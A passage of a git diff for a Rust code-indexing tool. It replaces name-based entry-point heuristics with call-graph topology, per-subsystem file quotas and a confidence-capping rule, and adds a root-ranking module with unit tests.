codestory_contracts::graph::NodeKind::FUNCTION | codestory_contracts::graph::NodeKind::METHOD - ) - { - return false; - } - let has_entrypoint_file_evidence = - role == Some(FileRole::Entrypoint) || grounding_root_path_rank(root, record) == 0; - if !has_entrypoint_file_evidence { - return false; - } + ), + grounding_root_file_role(record, file_roles), + is_import_like_symbol(&record.node), + &grounding_root_terminal_name(record), + degrees, + ) +} - let name = grounding_root_terminal_name(record) - .chars() - .filter(|character| character.is_ascii_alphanumeric()) - .collect::(); - if [ - "main", - "run", - "start", - "bootstrap", - "launch", - "mount", - "serve", - "init", - "initialize", - "createapp", - "createapplication", - "get", - "post", - "put", - "patch", - "delete", - "head", - "options", - ] - .iter() - .any(|candidate| name == *candidate) - { - return true; - } +/// Choose the bounded file set that supplements the stored root-candidate +/// window. +/// +/// The stored order is symbol kind first, which is precisely why `main()` — a +/// FUNCTION — sits below every type in a file. Two structure-only supplements +/// fix that without consulting any name: files the indexer verified as entry +/// points, and a small per-subsystem quota so no major source area can be +/// missing from a strict map. Both are budget-independent, so every budget +/// truncates one order. +fn grounding_root_candidate_files( + root: &Path, + file_summaries: &[codestory_store::GroundingFileSummary], + file_roles: &HashMap, + file_languages: &HashMap, +) -> Vec { + let production = file_summaries + .iter() + .filter(|summary| is_production_file_role(file_roles.get(&summary.file.id).copied())) + .map(|summary| (summary, relative_path(root, &summary.file.path))) + .collect::>(); - [ - ( - "start", - &["app", "application", "server", "runtime", "service"][..], - ), - ( - "run", - &["app", "application", "server", "runtime", "service", "cli"][..], - ), - ( - "create", - &["app", "application", "server", "router", "runtime"][..], - ), - ] - .iter() - .any(|(prefix, suffixes)| { - name.strip_prefix(prefix) - .is_some_and(|suffix| suffixes.contains(&suffix)) - }) || { - let terminal = record - .display_name - .rsplit([':', '.', '/', '\\']) - .next() - .unwrap_or_default() - .trim(); - terminal - .chars() - .next() - .is_some_and(|first| first.is_ascii_uppercase()) - && (name.ends_with("page") || name.ends_with("layout")) + let mut declared_entries = production + .iter() + .filter(|(summary, _)| { + file_roles.get(&summary.file.id).copied() == Some(FileRole::Entrypoint) + }) + .map(|(summary, relative)| { + ( + structural_depth(relative), + relative.clone(), + summary.file.id, + ) + }) + .collect::>(); + declared_entries.sort(); + declared_entries.truncate(ARCHITECTURE_ROOT_FILE_HALF_LIMIT); + + let mut by_subsystem = BTreeMap::, String, i64)>>::new(); + for (summary, relative) in &production { + let language = file_languages + .get(&summary.file.id) + .map(String::as_str) + .unwrap_or("unknown"); + by_subsystem + .entry(subsystem_key_for_path(language, Some(relative))) + .or_default() + .push(( + summary.best_node_rank, + Reverse(summary.symbol_count), + relative.clone(), + summary.file.id, + )); } + let mut quota_files = Vec::new(); + for candidates in by_subsystem.values_mut() { + candidates.sort(); + quota_files.extend( + candidates + .iter() + .take(SUBSYSTEM_FILE_QUOTA) + .map(|candidate| candidate.3), + ); + } + quota_files.truncate(ARCHITECTURE_ROOT_FILE_HALF_LIMIT); + + let mut seen = HashSet::new(); + declared_entries + .into_iter() + .map(|entry| entry.2) + .chain(quota_files) + .filter(|file_id| seen.insert(*file_id)) + .take(ARCHITECTURE_ROOT_FILE_LIMIT) + .collect() } +#[allow(clippy::too_many_arguments)] fn grounding_orientation( root: &Path, evaluated: &[GroundingNodeRecord], @@ -658,41 +561,37 @@ fn grounding_orientation( compressed_files: u32, file_roles: &HashMap, file_languages: &HashMap, + degrees: &HashMap, ) -> GroundingOrientationDto { - let candidate_entrypoint_roots = evaluated - .iter() - .filter(|record| is_grounding_entrypoint_root(root, record, file_roles)) - .count(); - let selected_entrypoint_roots = selected - .iter() - .filter(|record| is_grounding_entrypoint_root(root, record, file_roles)) - .count(); - let candidate_subsystems = evaluated - .iter() - .filter(|record| { - is_production_file_role( - record - .node - .file_node_id - .and_then(|file_id| file_roles.get(&file_id.0).copied()), - ) - }) - .map(|record| grounding_root_subsystem_key(root, record, file_languages)) - .collect::>() - .len(); - let selected_subsystems = selected - .iter() - .filter(|record| { - is_production_file_role( - record - .node - .file_node_id - .and_then(|file_id| file_roles.get(&file_id.0).copied()), - ) - }) - .map(|record| grounding_root_subsystem_key(root, record, file_languages)) - .collect::>() - .len(); + let has_entry_evidence = |record: &GroundingNodeRecord| { + grounding_entry_evidence( + record, + file_roles, + degrees.get(&record.node.id).copied().unwrap_or_default(), + ) != EntryEvidence::None + }; + let candidate_entrypoint_roots = evaluated.iter().filter(|r| has_entry_evidence(r)).count(); + let selected_entrypoint_roots = selected.iter().filter(|r| has_entry_evidence(r)).count(); + let subsystem_count = |records: &[GroundingNodeRecord]| { + records + .iter() + .filter(|record| is_production_file_role(grounding_root_file_role(record, file_roles))) + .map(|record| grounding_root_subsystem_key(root, record, file_languages)) + .collect::>() + .len() + }; + let candidate_subsystems = subsystem_count(evaluated); + let selected_subsystems = subsystem_count(selected); + // Thin means the whole evaluated window carries no non-speculative CALL + // degree at all, so the order below role and structure is unproven. + let graph_signal_thin = !evaluated.is_empty() + && evaluated.iter().all(|record| { + degrees + .get(&record.node.id) + .copied() + .unwrap_or_default() + .is_empty() + }); let mut uncertainty = Vec::new(); if evaluated.len() < total_root_candidates { @@ -706,23 +605,25 @@ fn grounding_orientation( if candidate_subsystems > 1 && selected_subsystems < candidate_subsystems.min(selected.len()) { uncertainty.push(GroundingOrientationUncertaintyDto::LimitedSubsystemBreadth); } + if graph_signal_thin { + uncertainty.push(GroundingOrientationUncertaintyDto::GraphSignalThin); + } + if graph_signal_thin && candidate_entrypoint_roots == 0 { + uncertainty.push(GroundingOrientationUncertaintyDto::LexicalFallback); + } if compressed_files > 0 { uncertainty.push(GroundingOrientationUncertaintyDto::CompressedPresentation); } - let confidence = if selected.is_empty() - || candidate_entrypoint_roots == 0 - || (candidate_subsystems > 1 && selected_subsystems <= 1) - { - GroundingOrientationConfidenceDto::Weak - } else if evaluated.len() < total_root_candidates - || selected_entrypoint_roots == 0 - || (candidate_subsystems > 1 && selected_subsystems < 2) - { - GroundingOrientationConfidenceDto::Partial - } else { - GroundingOrientationConfidenceDto::Strong - }; + let confidence = orientation_confidence( + &uncertainty, + selected.is_empty() + || candidate_entrypoint_roots == 0 + || (candidate_subsystems > 1 && selected_subsystems <= 1), + evaluated.len() < total_root_candidates + || selected_entrypoint_roots == 0 + || (candidate_subsystems > 1 && selected_subsystems < 2), + ); GroundingOrientationDto { confidence, @@ -736,6 +637,31 @@ fn grounding_orientation( } } +/// Apply the shared evidence-class confidence invariant. +/// +/// `Strong` is impossible while any evidence-class uncertainty is reported, +/// `GraphSignalThin` caps at `Partial`, and `LexicalFallback` caps at `Weak`. +/// `CompressedPresentation` is deliberately excluded: it fires on every strict +/// budget by construction, so folding it in would pin every strict read to +/// `Partial`. +pub(crate) fn orientation_confidence( + uncertainty: &[GroundingOrientationUncertaintyDto], + weak: bool, + partial: bool, +) -> GroundingOrientationConfidenceDto { + if weak || uncertainty.contains(&GroundingOrientationUncertaintyDto::LexicalFallback) { + return GroundingOrientationConfidenceDto::Weak; + } + if partial + || uncertainty + .iter() + .any(|variant| variant.is_evidence_class()) + { + return GroundingOrientationConfidenceDto::Partial; + } + GroundingOrientationConfidenceDto::Strong +} + fn build_edge_digest_map( counts: Vec, limit: usize, @@ -852,44 +778,6 @@ fn low_value_recommendation_name(name: &str) -> bool { normalized.starts_with("std::") || normalized.starts_with("std.") } -fn architecture_path_rank(path: Option<&str>) -> u8 { - let Some(path) = path else { - return 3; - }; - let path = path.replace('\\', "/").to_ascii_lowercase(); - if path.ends_with("/src/lib.rs") - || path.ends_with("/src/main.rs") - || path.ends_with("/src/mod.rs") - || path == "src/lib.rs" - || path == "src/main.rs" - || path.ends_with("/main.ts") - || path.ends_with("/main.tsx") - || path.ends_with("/main.js") - || path.ends_with("/main.jsx") - || path.ends_with("/app.svelte") - || path.ends_with("/page.tsx") - || path.ends_with("/layout.tsx") - || path.ends_with("/route.ts") - || path.ends_with("payload.config.ts") - || path.ends_with("next.config.ts") - { - return 0; - } - if path.contains("/src/app/") - || path.contains("/src/collections/") - || path.contains("/src/components/") - || path.contains("/src/runtime/") - || path.contains("/src-tauri/src/") - || path.contains("/src/index") - { - return 1; - } - if path.contains("/src/") || path.starts_with("src/") { - return 2; - } - 3 -} - fn architecture_kind_rank(kind: NodeKind) -> u8 { match kind { NodeKind::STRUCT @@ -915,8 +803,8 @@ fn compare_recommendation_candidates( low_value_recommendation_path(left.path.as_deref()) .cmp(&low_value_recommendation_path(right.path.as_deref())) .then( - architecture_path_rank(left.path.as_deref()) - .cmp(&architecture_path_rank(right.path.as_deref())), + structural_path_rank(None, left.path.as_deref()) + .cmp(&structural_path_rank(None, right.path.as_deref())), ) .then( architecture_kind_rank(left.symbol.kind) @@ -1110,38 +998,8 @@ impl AppController { .iter() .filter_map(|summary| summary.file_role.map(|role| (summary.file.id, role))) .collect::>(); - let mut architecture_root_files = file_summaries - .iter() - .filter_map(|summary| { - let relative = relative_path(&root, &summary.file.path); - let path_rank = architecture_path_rank(Some(&relative)); - let role = file_roles.get(&summary.file.id).copied(); - (is_production_file_role(role) - && (role == Some(FileRole::Entrypoint) || path_rank <= 1)) - .then_some(( - grounding_root_file_role_rank(role), - path_rank, - summary.best_node_rank, - summary.symbol_count, - relative, - summary.file.id, - )) - }) - .collect::>(); - architecture_root_files.sort_by(|left, right| { - left.0 - .cmp(&right.0) - .then(left.1.cmp(&right.1)) - .then(left.2.cmp(&right.2)) - .then(right.3.cmp(&left.3)) - .then(left.4.cmp(&right.4)) - .then(left.5.cmp(&right.5)) - }); - architecture_root_files.truncate(ARCHITECTURE_ROOT_FILE_LIMIT); - let architecture_root_file_ids = architecture_root_files - .into_iter() - .map(|candidate| candidate.5) - .collect::>(); + let architecture_root_file_ids = + grounding_root_candidate_files(&root, &file_summaries, &file_roles, &file_languages); let derived_file_count = if stats.file_count > 0 { stats.file_count } else { @@ -1231,38 +1089,16 @@ impl AppController { let root_fetch_limit = max_root_symbols .saturating_mul(ROOT_CANDIDATE_MULTIPLIER) .max(max_root_symbols); - let architecture_exact_names = ARCHITECTURE_ROOT_EXACT_NAMES - .iter() - .map(|name| (*name).to_string()) - .collect::>(); - let architecture_uppercase_globs = ARCHITECTURE_ROOT_UPPERCASE_GLOBS - .iter() - .map(|glob| (*glob).to_string()) - .collect::>(); let mut root_records = storage - .get_grounding_named_root_symbols_for_files( + .get_grounding_root_symbols_for_files( &architecture_root_file_ids, - &architecture_exact_names, - &architecture_uppercase_globs, - ARCHITECTURE_NAMED_ROOTS_PER_FILE, + ARCHITECTURE_ROOT_SYMBOL_SCAN_LIMIT, ) .map_err(|e| { ApiError::internal(format!( - "Failed to load named architecture grounding roots: {e}" + "Failed to load architecture grounding root symbols: {e}" )) })?; - root_records.extend( - storage - .get_grounding_root_symbols_for_files( - &architecture_root_file_ids, - ARCHITECTURE_ROOT_SYMBOL_SCAN_LIMIT, - ) - .map_err(|e| { - ApiError::internal(format!( - "Failed to load architecture grounding root symbols: {e}" - )) - })?, - ); root_records.extend( storage .get_grounding_root_symbol_candidates(root_fetch_limit, 0) @@ -1276,13 +1112,14 @@ impl AppController { .iter() .map(|record| record.node.id) .collect::>(); - let candidate_edge_degrees = build_grounding_edge_degree_map( - storage - .get_grounding_edge_digest_counts(&candidate_node_ids) - .map_err(|e| { - ApiError::internal(format!("Failed to load grounding root graph evidence: {e}")) - })?, - ); + let candidate_call_degrees = storage + .get_grounding_call_degrees(&candidate_node_ids) + .map_err(|e| { + ApiError::internal(format!("Failed to load grounding root graph evidence: {e}")) + })? + .into_iter() + .map(|degree| (degree.node_id, CallDegrees::from(degree))) + .collect::>(); let candidate_member_counts = storage .get_grounding_member_counts(&candidate_node_ids) .map_err(|e| { @@ -1295,7 +1132,7 @@ impl AppController { &root, &file_roles, &file_languages, - &candidate_edge_degrees, + &candidate_call_degrees, &candidate_member_counts, ); root_records.truncate(config.root_symbols); @@ -1406,6 +1243,7 @@ impl AppController { compressed_files, &file_roles, &file_languages, + &candidate_call_degrees, ); let mut root_symbols = Vec::new(); @@ -1980,7 +1818,7 @@ mod tests { } #[test] - fn grounding_entrypoint_evidence_requires_production_callable_name_evidence() { + fn grounding_entrypoint_evidence_requires_production_callable_topology_or_language_main() { let root = Path::new("/repo"); let record = |name: &str| GroundingNodeRecord { node: Node { @@ -1997,35 +1835,290 @@ mod tests { let mut roles = [(10, FileRole::Entrypoint)] .into_iter() .collect::>(); + let fans_out = CallDegrees { + production_in_calls: 0, + out_calls: 3, + }; + let called_leaf = CallDegrees { + production_in_calls: 4, + out_calls: 1, + }; - assert!(is_grounding_entrypoint_root( - root, - &record("startApplication"), - &roles - )); - assert!(!is_grounding_entrypoint_root( - root, - &record("helper"), - &roles - )); - assert!(!is_grounding_entrypoint_root( - root, - &record("startupCache"), - &roles - )); - assert!(is_grounding_entrypoint_root( + // Topology, not vocabulary, decides: any invented name qualifies when + // nothing calls it and it reaches into the graph. + assert_eq!( + grounding_entry_evidence(&record("qwlfDispatch"), &roles, fans_out), + EntryEvidence::TopologicalRoot + ); + // The same name buried under callers is a leaf, however entry-like the + // old catalog thought it read. + assert_eq!( + grounding_entry_evidence(&record("startApplication"), &roles, called_leaf), + EntryEvidence::None + ); + // The language contract still carries orientation when graph coverage + // cannot prove topology. + assert_eq!( + grounding_entry_evidence(&record("main"), &roles, called_leaf), + EntryEvidence::LanguageMain + ); + assert_eq!( + grounding_entry_evidence(&record("ComicPage"), &roles, CallDegrees::default()), + EntryEvidence::None + ); + + roles.insert(10, FileRole::Test); + assert_eq!( + grounding_entry_evidence(&record("main"), &roles, fans_out), + EntryEvidence::None + ); + } + + #[test] + fn a_leaf_alias_never_outranks_a_referenced_subsystem_root() { + let root = Path::new("/repo"); + let roles = [(10, FileRole::Source)] + .into_iter() + .collect::>(); + let record = |id: i64, name: &str| GroundingNodeRecord { + node: Node { + id: CoreNodeId(id), + kind: NodeKind::FUNCTION, + serialized_name: name.to_string(), + file_node_id: Some(CoreNodeId(10)), + start_line: Some(1), + ..Default::default() + }, + display_name: name.to_string(), + file_path: Some(root.join("src/service.ts")), + }; + let degrees = [ + ( + CoreNodeId(1), + CallDegrees { + production_in_calls: 0, + out_calls: 6, + }, + ), + ( + CoreNodeId(2), + CallDegrees { + production_in_calls: 0, + out_calls: 0, + }, + ), + ] + .into_iter() + .collect::>(); + + let ordered = diversify_grounding_root_records( + vec![record(2, "zzHelperAlias"), record(1, "aaSubsystemRoot")], root, - &record("ComicPage"), - &roles - )); - assert!(!is_grounding_entrypoint_root( + &roles, + &HashMap::new(), + °rees, + &HashMap::new(), + ); + assert_eq!( + ordered + .iter() + .map(|record| record.display_name.as_str()) + .collect::>(), + ["aaSubsystemRoot", "zzHelperAlias"] + ); + } + + #[test] + fn orientation_confidence_is_never_strong_with_an_evidence_class_uncertainty() { + for variant in [ + GroundingOrientationUncertaintyDto::BoundedCandidateWindow, + GroundingOrientationUncertaintyDto::NoEntrypointEvidence, + GroundingOrientationUncertaintyDto::EntrypointEvidenceOmitted, + GroundingOrientationUncertaintyDto::LimitedSubsystemBreadth, + GroundingOrientationUncertaintyDto::GraphSignalThin, + GroundingOrientationUncertaintyDto::LexicalFallback, + ] { + assert_ne!( + orientation_confidence(&[variant], false, false), + GroundingOrientationConfidenceDto::Strong, + "{variant:?} must not coexist with strong confidence" + ); + } + assert_eq!( + orientation_confidence( + &[GroundingOrientationUncertaintyDto::LexicalFallback], + false, + false + ), + GroundingOrientationConfidenceDto::Weak + ); + assert_eq!( + orientation_confidence( + &[GroundingOrientationUncertaintyDto::GraphSignalThin], + false, + false + ), + GroundingOrientationConfidenceDto::Partial + ); + } + + fn file_summary( + file_id: i64, + relative: &str, + language: &str, + best_node_rank: u8, + symbol_count: u32, + ) -> codestory_store::GroundingFileSummary { + let path = Path::new("/repo").join(relative); + codestory_store::GroundingFileSummary { + file_role: Some(FileRole::classify_path(Path::new(relative))), + file: FileInfo { + id: file_id, + path, + language: language.to_string(), + modification_time: 0, + indexed: true, + complete: true, + line_count: 32, + file_role: FileRole::classify_path(Path::new(relative)), + }, + symbol_count, + best_node_rank, + } + } + + fn candidate_universe( + summaries: &[codestory_store::GroundingFileSummary], + ) -> (Vec, HashMap) { + let roles = summaries + .iter() + .filter_map(|summary| summary.file_role.map(|role| (summary.file.id, role))) + .collect::>(); + let languages = summaries + .iter() + .map(|summary| (summary.file.id, summary.file.language.clone())) + .collect::>(); + ( + grounding_root_candidate_files(Path::new("/repo"), summaries, &roles, &languages), + roles, + ) + } + + #[test] + fn entrypoint_role_files_reach_the_candidate_universe_despite_kind_ordered_storage() { + // Stored root candidates are ordered by symbol kind first, so a file + // whose only root is a FUNCTION never reaches the window on its own. + let summaries = (0..40_i64) + .map(|index| { + file_summary( + 500 + index, + &format!("src/types/leaf_{index}.ts"), + "typescript", + 0, + 64, + ) + }) + .chain([file_summary( + 9, + "src/deep/nested/main.ts", + "typescript", + 9, + 1, + )]) + .collect::>(); + + let (universe, roles) = candidate_universe(&summaries); + assert_eq!(roles.get(&9), Some(&FileRole::Entrypoint)); + assert!( + universe.contains(&9), + "declared entry file lost to kind-ordered leaf files: {universe:?}" + ); + } + + #[test] + fn every_production_subsystem_reaches_the_candidate_universe_through_its_file_quota() { + let mut summaries = Vec::new(); + for subsystem in 0..4_i64 { + for file in 0..6_i64 { + summaries.push(file_summary( + subsystem * 100 + file, + &format!("crates/sub_{subsystem}/src/file_{file}.rs"), + "rust", + file as u8, + 10, + )); + } + } + + let (universe, _) = candidate_universe(&summaries); + for subsystem in 0..4_i64 { + assert!( + universe.iter().any(|id| id / 100 == subsystem), + "subsystem {subsystem} missing from the candidate universe: {universe:?}" + ); + } + assert!(universe.len() <= ARCHITECTURE_ROOT_FILE_LIMIT); + } + + #[test] + fn orientation_reports_graph_signal_thin_when_no_candidate_has_call_degrees() { + let root = Path::new("/repo"); + let roles = [(10, FileRole::Source)] + .into_iter() + .collect::>(); + let languages = [(10, "rust".to_string())] + .into_iter() + .collect::>(); + let record = GroundingNodeRecord { + node: Node { + id: CoreNodeId(1), + kind: NodeKind::FUNCTION, + serialized_name: "someCallable".to_string(), + file_node_id: Some(CoreNodeId(10)), + start_line: Some(1), + ..Default::default() + }, + display_name: "someCallable".to_string(), + file_path: Some(root.join("src/thing.rs")), + }; + let evaluated = vec![record]; + let orientation = grounding_orientation( root, - &record("isHomepage"), - &roles - )); + &evaluated, + &evaluated, + evaluated.len(), + 0, + &roles, + &languages, + &HashMap::new(), + ); - roles.insert(10, FileRole::Test); - assert!(!is_grounding_entrypoint_root(root, &record("main"), &roles)); + assert!( + orientation + .uncertainty + .contains(&GroundingOrientationUncertaintyDto::GraphSignalThin) + ); + assert!( + orientation + .uncertainty + .contains(&GroundingOrientationUncertaintyDto::LexicalFallback) + ); + assert_eq!( + orientation.confidence, + GroundingOrientationConfidenceDto::Weak + ); + } + + #[test] + fn compressed_presentation_alone_does_not_cap_orientation_confidence() { + assert_eq!( + orientation_confidence( + &[GroundingOrientationUncertaintyDto::CompressedPresentation], + false, + false + ), + GroundingOrientationConfidenceDto::Strong + ); } fn grounding_symbol( @@ -2946,9 +3039,6 @@ mod tests { storage .insert_nodes_batch(&frontend_nodes) .expect("insert frontend graph"); - storage - .insert_edges_batch(&frontend_edges) - .expect("insert frontend graph evidence"); for (file_id, node_id, path, language, name) in [ ( @@ -2985,6 +3075,29 @@ mod tests { .expect("insert architecture boundary"); } + // The entry point is the only production callable nothing calls + // that reaches into the graph; the boundaries it wires each gain a + // production caller. No name in this fixture carries any meaning. + for (offset, boundary) in [2_001_i64, 3_001, 4_001].into_iter().enumerate() { + frontend_edges.push(Edge { + id: EdgeId(1_600 + offset as i64), + source: CoreNodeId(1_002), + target: CoreNodeId(boundary), + kind: EdgeKind::CALL, + file_node_id: Some(CoreNodeId(101)), + line: Some(110 + offset as u32), + resolved_source: None, + resolved_target: None, + confidence: None, + certainty: None, + callsite_identity: None, + candidate_targets: Vec::new(), + }); + } + storage + .insert_edges_batch(&frontend_edges) + .expect("insert frontend graph evidence"); + for index in 0..12_i64 { let file_id = 500 + index; insert_file_node_with_role_and_language( diff --git a/crates/codestory-runtime/src/lib.rs b/crates/codestory-runtime/src/lib.rs index 7b45695f0..bfabc9e54 100644 --- a/crates/codestory-runtime/src/lib.rs +++ b/crates/codestory-runtime/src/lib.rs @@ -74,6 +74,7 @@ mod index_incremental; mod index_timings; mod publication; mod repo_text; +mod root_rank; mod route_coverage; mod search_evidence; mod search_intent; diff --git a/crates/codestory-runtime/src/root_rank.rs b/crates/codestory-runtime/src/root_rank.rs new file mode 100644 index 000000000..40a42fcff --- /dev/null +++ b/crates/codestory-runtime/src/root_rank.rs @@ -0,0 +1,543 @@ +//! Repository-derived root ranking shared by compact grounding and search. +//! +//! The v0.16.1 audit found the previous root ordering was driven by catalogs of +//! framework filenames and entry-point names collected from the benchmark +//! holdout. Everything here is derived from the repository under inspection: +//! verified file role, directed call-graph degrees, and path structure. The one +//! name literal in this module is the language contract `main`, and it is typed +//! as such so callers can report which kind of evidence they found. + +use codestory_store::FileRole; +use std::collections::HashSet; + +/// Fan-out floor for the topological entry-point arm. +/// +/// A production callable with no visible callers and no outbound calls is far +/// more likely to be dead code or an FFI leaf than an entry point. +pub(crate) const ENTRY_MIN_FANOUT: u32 = 2; + +/// Deduped resolvable hits that carry graph evidence on the search surface. +/// +/// Matches the existing `limit_per_source` clamp ceiling, so the evidence walk +/// never exceeds the work the plan already pays for. +pub(crate) const SEARCH_ORIENTATION_WINDOW: usize = 50; + +/// Files admitted to the grounding candidate universe per subsystem. +pub(crate) const SUBSYSTEM_FILE_QUOTA: usize = 2; + +/// Directory names that conventionally hold a project's own source tree. +/// +/// These are layout words, not repository or framework names: every one of them +/// is a generic English source-root convention. +const SOURCE_ROOT_SEGMENTS: &[&str] = &["src", "lib", "app", "cmd", "source"]; + +/// Quantized call degree. +/// +/// Raw counts reorder roots between re-indexes whenever the parser resolves one +/// extra edge, so a compact map would flap for reasons that say nothing about +/// the repository. Quantizing absorbs that drift and lets ties fall through to +/// the structural and name tie-breakers, which are stable. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, PartialOrd, Ord)] +pub(crate) struct DegreeTier(pub(crate) u8); + +pub(crate) fn degree_tier(count: u32) -> DegreeTier { + DegreeTier(match count { + 0 => 0, + 1..=2 => 1, + 3..=8 => 2, + _ => 3, + }) +} + +/// Directed CALL degrees for one candidate. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub(crate) struct CallDegrees { + /// Non-speculative inbound CALL sources, excluding test/benchmark callers. + pub(crate) production_in_calls: u32, + /// Non-speculative outbound CALL targets. + pub(crate) out_calls: u32, +} + +impl CallDegrees { + pub(crate) fn is_empty(self) -> bool { + self.production_in_calls == 0 && self.out_calls == 0 + } +} + +impl From for CallDegrees { + fn from(degree: codestory_store::GroundingCallDegree) -> Self { + Self { + production_in_calls: degree.production_in_calls, + out_calls: degree.out_calls, + } + } +} + +/// Ordered weakest to strongest; the discriminant is the sort weight. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, PartialOrd, Ord)] +pub(crate) enum EntryEvidence { + #[default] + None = 0, + /// Language contract: the terminal symbol segment is `main`. Carries + /// orientation when graph coverage is too thin to prove topology. + LanguageMain = 1, + /// Repository-derived: a production callable that nothing visible calls and + /// that fans out into the graph — a call-DAG root. + TopologicalRoot = 2, +} + +impl EntryEvidence { + pub(crate) fn weight(self) -> u8 { + self as u8 + } + + pub(crate) fn label(self) -> &'static str { + match self { + Self::None => "none", + Self::LanguageMain => "language_main", + Self::TopologicalRoot => "topological_root", + } + } +} + +pub(crate) fn is_production_file_role(role: Option) -> bool { + matches!(role, Some(FileRole::Source | FileRole::Entrypoint)) +} + +/// Classify a candidate's entry-point evidence without consulting any name +/// catalog. +/// +/// `callable` is supplied by the caller because the grounding surface carries +/// `graph::NodeKind` while the search surface carries `api::NodeKind`; both +/// mean "function or method" here. +pub(crate) fn entry_evidence( + callable: bool, + file_role: Option, + import_like: bool, + terminal_name: &str, + degrees: CallDegrees, +) -> EntryEvidence { + if import_like || !callable || !is_production_file_role(file_role) { + return EntryEvidence::None; + } + + // A production callable that nothing visible calls and that fans out into + // the graph is an entry point by topology. This recognizes a Tauri command + // handler, a framework-invoked route handler, or `main` in `Main.java` + // without naming a single framework. + if degrees.production_in_calls == 0 && degrees.out_calls >= ENTRY_MIN_FANOUT { + return EntryEvidence::TopologicalRoot; + } + if terminal_name == "main" { + return EntryEvidence::LanguageMain; + } + EntryEvidence::None +} + +fn path_segments(relative_path: &str) -> Vec { + relative_path + .replace('\\', "/") + .to_ascii_lowercase() + .split('/') + .filter(|segment| !segment.is_empty()) + .map(ToOwned::to_owned) + .collect() +} + +fn innermost_source_root_index(segments: &[String]) -> Option { + // Only directory segments can be a source root, so never match the file + // name itself. + let directory_count = segments.len().saturating_sub(1); + segments[..directory_count] + .iter() + .rposition(|segment| SOURCE_ROOT_SEGMENTS.contains(&segment.as_str())) +} + +/// Directory segments between the innermost source root and the file name. +pub(crate) fn structural_depth(relative_path: &str) -> u8 { + let segments = path_segments(relative_path); + let directory_count = segments.len().saturating_sub(1); + let depth = match innermost_source_root_index(&segments) { + Some(index) => directory_count.saturating_sub(index + 1), + None => directory_count, + }; + depth.min(u8::MAX as usize) as u8 +} + +/// Structural position of a file, lower is better. +/// +/// 0 = a file role the indexer verified as an entry point, 1 = at or one level +/// below a source root, 2 = anywhere under a source root, 3 = otherwise. +pub(crate) fn structural_path_rank(role: Option, relative_path: Option<&str>) -> u8 { + if role == Some(FileRole::Entrypoint) { + return 0; + } + let Some(path) = relative_path else { + return 3; + }; + let segments = path_segments(path); + match innermost_source_root_index(&segments) { + Some(_) => { + if structural_depth(path) <= 1 { + 1 + } else { + 2 + } + } + None => { + if segments.len() <= 1 { + 1 + } else { + 3 + } + } + } +} + +/// Group a file into a workspace subsystem using layout only. +/// +/// Derived from the repository's own directory structure — crate, plugin, or +/// source-tree child — never from a repository or framework name. +pub(crate) fn subsystem_key_for_path(language: &str, relative_path: Option<&str>) -> String { + let Some(path) = relative_path else { + return format!("{language}:unknown"); + }; + let segments = path + .replace('\\', "/") + .to_ascii_lowercase() + .split('/') + .filter(|segment| !segment.is_empty()) + .map(ToOwned::to_owned) + .collect::>(); + + if let Some(index) = segments.iter().position(|segment| segment == "crates") + && let Some(crate_name) = segments.get(index + 1) + { + return format!("{language}:crates/{crate_name}"); + } + if let Some(index) = segments.iter().position(|segment| segment == "plugins") + && let Some(plugin_name) = segments.get(index + 1) + { + return format!("{language}:plugins/{plugin_name}"); + } + if segments.iter().any(|segment| segment == "src-tauri") { + return format!("{language}:src-tauri"); + } + if let Some(index) = segments.iter().rposition(|segment| segment == "src") { + if let Some(next) = segments.get(index + 1) + && !next.contains('.') + { + return format!("{language}:{}", segments[..=index + 1].join("/")); + } + return format!("{language}:{}", segments[..=index].join("/")); + } + + let top = segments + .first() + .map(String::as_str) + .unwrap_or("root") + .to_string(); + format!("{language}:{top}") +} + +/// True when the display name or path calls the symbol a helper, mock, or +/// fixture. Generic vocabulary; no repository or framework names. +pub(crate) fn helper_like_name_or_path(display_name: &str, file_path: Option<&str>) -> bool { + let text = format!( + "{} {}", + display_name.to_ascii_lowercase(), + file_path + .unwrap_or_default() + .replace('\\', "/") + .to_ascii_lowercase() + ); + text.split(|ch: char| !ch.is_ascii_alphanumeric()) + .any(|term| { + matches!( + term, + "helper" | "helpers" | "mock" | "mocks" | "fake" | "fixture" | "fixtures" + ) + }) +} + +/// Reorder a pre-sorted candidate list so distinct subsystems and names reach +/// the front, without taking a limit. +/// +/// Taking no limit is what makes every budget's prefix monotone: one order is +/// produced, and each budget truncates that same order. The output is a +/// permutation of the input and relative order is preserved inside each pass. +pub(crate) fn diversify_root_order( + items: Vec, + pinned: impl Fn(&T) -> bool, + surface_key: impl Fn(&T) -> (String, String), +) -> Vec { + if items.len() <= 1 { + return items; + } + + let keys = items.iter().map(&surface_key).collect::>(); + let mut passes = vec![3u8; items.len()]; + let mut seen_surfaces = HashSet::new(); + let mut seen_names = HashSet::new(); + + // Pass 0 keeps pinned candidates where they are and seeds the seen sets, so + // diversification never spends a slot repeating something already pinned. + for (index, item) in items.iter().enumerate() { + if pinned(item) { + passes[index] = 0; + seen_surfaces.insert(keys[index].0.clone()); + seen_names.insert(keys[index].1.clone()); + } + } + for index in 0..items.len() { + if passes[index] == 0 { + continue; + } + let (surface, name) = &keys[index]; + if !seen_surfaces.contains(surface) && !seen_names.contains(name) { + seen_surfaces.insert(surface.clone()); + seen_names.insert(name.clone()); + passes[index] = 1; + } + } + for index in 0..items.len() { + if passes[index] != 3 { + continue; + } + if seen_names.insert(keys[index].1.clone()) { + passes[index] = 2; + } + } + + let mut ordered = items.into_iter().zip(passes).collect::>(); + ordered.sort_by_key(|(_, pass)| *pass); + ordered.into_iter().map(|(item, _)| item).collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + fn degrees(production_in_calls: u32, out_calls: u32) -> CallDegrees { + CallDegrees { + production_in_calls, + out_calls, + } + } + + #[test] + fn entry_evidence_requires_production_callable_topology_or_the_language_main_name() { + assert_eq!( + entry_evidence( + true, + Some(FileRole::Source), + false, + "serve_requests", + degrees(0, 3) + ), + EntryEvidence::TopologicalRoot + ); + assert_eq!( + entry_evidence(true, Some(FileRole::Source), false, "main", degrees(1, 0)), + EntryEvidence::LanguageMain + ); + assert_eq!( + entry_evidence(true, Some(FileRole::Test), false, "main", degrees(0, 9)), + EntryEvidence::None + ); + assert_eq!( + entry_evidence(false, Some(FileRole::Source), false, "main", degrees(0, 9)), + EntryEvidence::None + ); + assert_eq!( + entry_evidence(true, 